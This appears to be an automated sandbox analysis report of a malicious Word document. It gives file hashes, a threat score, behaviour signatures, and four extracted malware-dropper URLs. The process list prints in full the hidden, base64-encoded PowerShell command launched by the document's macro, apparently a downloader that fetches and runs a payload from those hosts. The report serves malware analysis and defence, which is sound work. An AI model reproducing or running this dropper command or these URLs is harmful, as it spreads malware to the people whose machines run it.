Analysis
-
max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
-
submitted
28/05/2024, 04:43
General
-
Target
7bbcd2699d703524fe62369e8c9ed013_JaffaCakes118.doc
-
Size
115KB
-
MD5
7bbcd2699d703524fe62369e8c9ed013
-
SHA1
669876f8735f2610148a40715966ea91195dc6ea
-
SHA256
cf6f134b4e7abc0b6a2d993101ac3a2e2f3d16709741b1fd982ea65b07327920
-
SHA512
6cdec2fbf2e1fa4098a61d1d51f1ff06d246b0cc03c7f490c102f64768cc60cbeaf414ce6b1d8207df6e815b1b78cd81fa62f2259afd9a49d7567ad66e6e7c74
-
SSDEEP
1536:aBWYOEXJ/6Ph+agzsTUjvDVghDR9KgZDbf5J3L:TeXJ/6PwvDyj9KC9Jb
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
http://lolligirl.com/VK9wU/
exe.dropper
https://versicherungsvermittlung.de/OZVlP/
exe.dropper
http://stein-planung.de/kzFwg/
exe.dropper
http://vagrantcafe.com/flash/VD9aQK7/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 7 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Suspicious behavior: AddClipboardFormatListener 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 7 IoCs
-
Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7bbcd2699d703524fe62369e8c9ed013_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\PowersHeLL.exePowersHeLL -WinDowsTyle hidden -e IAAoACgAKAAiAHsANAA4AH0AewA4ADkAfQB7ADEAMQAzAH0AewAxADAAMgB9AHsAMQA3ADAAfQB7ADYAMgB9AHsAMQA0ADQAfQB7ADUANQB9AHsANwA0AH0AewA3ADAAfQB7ADEAMwAyAH0AewA4ADQAfQB7ADIANAB9AHsAOQB9AHsAMQA2ADQAfQB7ADcAMwB9AHsAMAB9AHsAMwAxAH0AewAxADIANgB9AHsANwA3AH0AewAxADIAMQB9AHsAMgA4AH0AewAxADQAMwB9AHsAOAA4AH0AewAxADAANAB9AHsAOQAzAH0AewAxADQAMQB9AHsAMQA3ADQAfQB7ADEAMQAyAH0AewAxADMANAB9AHsAOAA1AH0AewAxADcAfQB7ADEAMAA3AH0AewA4ADEAfQB7ADMAOAB9AHsAOAB9AHsAMwAzAH0AewAxADYANwB9AHsANgA1AH0AewA0ADMAfQB7ADEAMAAxAH0AewAxADcAMwB9AHsAMQAxADAAfQB7ADEANAA5AH0AewAxADAAOAB9AHsAMQA0AH0AewAxADIAMwB9AHsAMQA2ADIAfQB7ADEAMQAxAH0AewA5ADYAfQB7ADMAOQB9AHsAMQA2ADAAfQB7ADEANAA2AH0AewAzAH0AewAxADQAMgB9AHsAOAAyAH0AewAyADYAfQB7ADMANgB9AHsANgAzAH0AewAxADEAOQB9AHsAMQAyADQAfQB7ADEANQA1AH0AewA1ADQAfQB7ADEAMwA4AH0AewA0ADEAfQB7ADUAMgB9AHsAMQA2ADYAfQB7ADMANAB9AHsANQAzAH0AewAxADMANwB9AHsAMQA1AH0AewA5ADcAfQB7ADEANgAzAH0AewAxADQAMAB9AHsAMwA3AH0AewA1ADYAfQB7ADEAMgA4AH0AewA2ADQAfQB7ADEANgA5AH0AewA2ADkAfQB7ADUAMQB9AHsANwAyAH0AewAxADIANwB9AHsANAAwAH0AewAxADYAOAB9AHsAMQAzADAAfQB7ADEAMAA2AH0AewA3ADEAfQB7ADEAMwB9AHsAMQA1ADgAfQB7ADUAOAB9AHsAOAAzAH0AewA2ADYAfQB7ADEANAA4AH0AewAxADAAfQB7ADEANAA1AH0AewAxADEAOAB9AHsANAA3AH0AewAxADYAMQB9AHsAMQA1ADYAfQB7ADIANwB9AHsAMQA2ADUAfQB7ADYAfQB7ADQANQB9AHsANwA2AH0AewA1AH0AewAxADAAMAB9AHsAMQAxADQAfQB7ADIAMwB9AHsAMgB9AHsANgAxAH0AewAxADUANwB9AHsAMQAyAH0AewA0ADQAfQB7ADEANQA0AH0AewA0ADIAfQB7ADEAMwA1AH0AewA2ADcAfQB7ADgAMAB9AHsAMQAxADcAfQB7ADIANQB9AHsAMQAwADMAfQB7ADIAMQB9AHsANQAwAH0AewAxADIAMgB9AHsANAB9AHsAMgAyAH0AewA3ADkAfQB7ADEAMwA2AH0AewAxADAANQB9AHsAMQA0ADcAfQB7ADkAOAB9AHsAMQAzADkAfQB7ADEAMAA5AH0AewAxADUAOQB9AHsAOAA2AH0AewAzADAAfQB7ADEAMwAxAH0AewA3ADgAfQB7ADEANQAzAH0AewAxADYAfQB7ADYAOAB9AHsAOAA3AH0AewA0ADkAfQB7ADYAMAB9AHsAOQAwAH0AewAxADIANQB9AHsAMgA5AH0AewAxADIAMAB9AHsAOQA1AH0AewAxADMAMwB9AHsANAA2AH0AewAzADIAfQB7ADEAOAB9AHsANwA1AH0AewAxADUAMgB9AHsANQA5AH0AewAxAH0AewAxADcAMQB9AHsAOQAxAH0AewAxADIAOQB9AHsAMQA1ADAAfQB7ADEAMQA2AH0AewAxADEANQB9AHsANwB9AHsANQA3AH0AewAyADAAfQB7ADMANQB9AHsAMQA5AH0AewAxADEAfQB7ADkAMgB9AHsAMQA1ADEAfQB7ADkAOQB9AHsAMQA3ADIAfQB7ADkANAB9ACIAIAAtAGYAIAAnADsAdwBzAEoAWQBZAFUAIAA9ACAALgAnACwAJwBzACcALAAnAEAAMQBSAGEAKQAnACwAJwANAAoAaAAnACwAJwBhAC4AJwAsACcASwA3AC8AJwAsACcALwAnACwAJwAgACcALAAnAG4AdAAnACwAJwAxAFIAYQApACAAJwAsACcAaAB0AHQAcAA6AC8ALwAnACwAJwAxAFIAYQBJACcALAAnACAAJwAsACcALQAnACwAJwAzACcALAAnAFUALwAnACwAJwBKAEEARAAnACwAJwAuAE4AZQB0AC4AJwAsACcATwBhAGQARgBJAE0AYwBGACcALAAnACgAJwAsACcARAAnACwAJwBTAEIAIAArACcALAAnAGUAeAAxACcALAAnAGEAJwAsACcAUgBhAHQAJwAsACcAYQAgACsAIAB3AHMAJwAsACcAYwBvAGUAJwAsACcAbQAvAGYAbABhAHMAJwAsACcAMQBSAGEAJwAsACcAWQAnACwAJwAgACcALAAnACgAMQAnACwAJwBNAGMARgAnACwAJwA7AHcAcwBKAE4AUwAnACwAJwBsAGwAaQBnAGkAcgBsAC4AYwBvAG0AJwAsACcAQwApADsAJgAnACwAJwBsAGUAYQAnACwAJwByACcALAAnAGwAaQBlACcALAAnACAAJwAsACcAcAA6ACcALAAnAE8AZwAnACwAJwBKAGUAJwAsACcAdwBzAEoAbgBzAGEAZABhAHMAZAAuACcALAAnAD0AJwAsACcAVgAnACwAJwBXAG4AbAAnACwAJwBuACcALAAnAHcAJwAsACcAeQAnACwAJwAgACcALAAnAC8AJwAsACcALwBAAGgAdAB0ACcALAAnAC8AVgBLADkAJwAsACcAbAA1ACcALAAnAGEAKwAxAFIAJwAsACcAcwAnACwAJwB3AHMASgBTACcALAAnAGcAJwAsACcAZgBjAC4AVQBnACcALAAnAHsAJwAsACcAOwB3ACcALAAnADEAUgBhAGUAJwAsACcAdAAnACwAJwBjAGgAZQByAHUAJwAsACcAIAAnACwAJwAvACcALAAnAHUAJwAsACcAQwBYACkAewB0ACcALAAnAGQAZQAnACwAJwBiACcALAAnAGkAbgAnACwAJwBPAFoAVgBsAFAALwBAAGgAJwAsACcAYQBuAGQAbwBtACcALAAnAGEAdwAtAG8AJwAsACcAbABlACcALAAnAEQAOQBhAFEAJwAsACcAUgAnACwAJwAgACcALAAnAFIAYQAnACwAJwBiAGwAaQBjACAAKwAnACwAJwBlAGIAQwAnACwAJwAvAC8AagAnACwAJwAuAGQAZQAvAGsAegBGAHcAZwAnACwAJwBjADEAUgBhACsAMQAnACwAJwBlAG0AJwAsACcAYwAnACwAJwByACcALAAnADEAUgAnACwAJwBzAEoAbgBzAGEAZABhAHMAJwAsACcAdwAnACwAJwBvACcALAAnAG4AdgBvADEAUgAnACwAJwAxACcALAAnAEMAKQA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsAfQB9ACcALAAnAFUALgBVAGcAcwBEAG8ATQAnACwAJwA9ACcALAAnAEAAaAB0AHQAcABzACcALAAnAGYAJwAsACcAawAxAFIAYQArADEAUgBhAGUALQBJAHQAZQBtADEAUgBhACkAKAB3AHMAJwAsACcAMQBSAGEALgBTAHAAbABpAHQAJwAsACcAbgBlAHgAJwAsACcAIAA9ACcALAAnAEoATgAnACwAJwBhACsAJwAsACcAYQApACcALAAnAHQAZQAnACwAJwBXACcALAAnADgAMgAxACcALAAnAHMASgBhACcALAAnADAAMAAwADAALAAgACcALAAnAEQAQwBYACAAJwAsACcAZQAnACwAJwBkACcALAAnACgAMQBSACcALAAnACwAJwAsACcAcwAoACkAJwAsACcAIAAxAFIAYQBNAG8ANgAxAFIAJwAsACcAZwByAGEAJwAsACcAaAAnACwAJwBZACcALAAnAGEAKwAnACwAJwAoADEAUgAnACwAJwAzACkAOwAnACwAJwBlAHIAJwAsACcAcwBKACcALAAnAFIAYQBuAGUAMQAnACwAJwB0AHQAJwAsACcAaQAnACwAJwBTAHQAcgBNAGMARgBpACcALAAnAC8AcwAnACwAJwBpAG4AJwAsACcAagBlACcALAAnAGMARgAnACwAJwBjAHQAMQBSAGEAKQAgAFMAeQBzAHQAJwAsACcAbgB2ADoAcAAnACwAJwArADEAUgBhAGUAMQBSACcALAAnAHcAJwAsACcAaQAnACwAJwBvAHIAZQBhAGMAaAAoAHcAJwAsACcALwB2AGUAJwAsACcAUgBhAC0AbwBiACcALAAnAHQAdABwADoAJwAsACcAdwAnACwAJwAxAFIAJwAsACcAdgBhACcALAAnAFIAYQAnACwAJwA7ACcALAAnAEAAJwAsACcAMgAnACwAJwBNAGMARgBOAGcAVQBnACcALAAnAGEAKwAxAFIAYQAnACwAJwBVAGcAcwAoAHcAcwBKAGEAcwAnACwAJwB3AHMAJwAsACcAIAB3AHMAJwAsACcALgBjAG8AbQAuAGEAdQAvAG4AJwAsACcAYwBhAGYAZQAuAGMAbwAnACwAJwBzAEoAUwBEAEMAJwAsACcAcABsAGEAbgB1AG4AJwAsACcAcwBmACcALAAnADEAJwAsACcAdAAnACwAJwB3AHMASgBBACcALAAnADoALwAnACwAJwByACcALAAnAGgAJwAsACcAcAA6AC8ALwBsAG8AJwAsACcAQgAgAD0AJwAsACcALwAnACwAJwBuAGcAcwB2AGUAcgBtAGkAdAB0AGwAdQBuAGcALgAnACwAJwAgACYAKAAxAFIAYQBuADEAUgBhACsAJwAsACcAVAAnACwAJwBKAFMARAAnACwAJwB0ACgAMQAnACwAJwBqACcAKQApACAALQBSAGUAcABsAGEAQwBlACAAIAAoAFsAYwBoAGEAUgBdADgANQArAFsAYwBoAGEAUgBdADEAMAAzACsAWwBjAGgAYQBSAF0AMQAxADUAKQAsAFsAYwBoAGEAUgBdADMANAAgAC0AUgBlAHAAbABhAEMAZQAnAE0AYwBGACcALABbAGMAaABhAFIAXQA5ADYAIAAgAC0AQwByAGUAUABsAEEAQwBFACAAKABbAGMAaABhAFIAXQA0ADkAKwBbAGMAaABhAFIAXQA4ADIAKwBbAGMAaABhAFIAXQA5ADcAKQAsAFsAYwBoAGEAUgBdADMAOQAgAC0AUgBlAHAAbABhAEMAZQAgACAAJwB3AHMASgAnACwAWwBjAGgAYQBSAF0AMwA2AC0AQwByAGUAUABsAEEAQwBFACAAIAAoAFsAYwBoAGEAUgBdADcANwArAFsAYwBoAGEAUgBdADEAMQAxACsAWwBjAGgAYQBSAF0ANQA0ACkALABbAGMAaABhAFIAXQA5ADIAKQAgAHwAJgAoACAAJABQAHMASABvAE0AZQBbADQAXQArACQAUABTAGgAbwBtAGUAWwAzADQAXQArACcAeAAnACkA2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
4KB
MD5ca45329f00252d30fbfa78fc960ae88e
SHA159d578b157788b36fe5aa521ba5ffbcb19db551e
SHA2566b0528d8567a9ea0b6359c137e95fcb97379c69e4a9547dc1dca29a8f0ecafd5
SHA5121cb1f20721f8cc0eefec83ae50aa1833dd4a0f45d8119170c149e1b9125f033a55dcaebc42f8994d940b3fa3ffc22c94849054b3836c7bb2f7ea328c85fc7e74
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
4KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
136KB
-
Filesize
2.0MB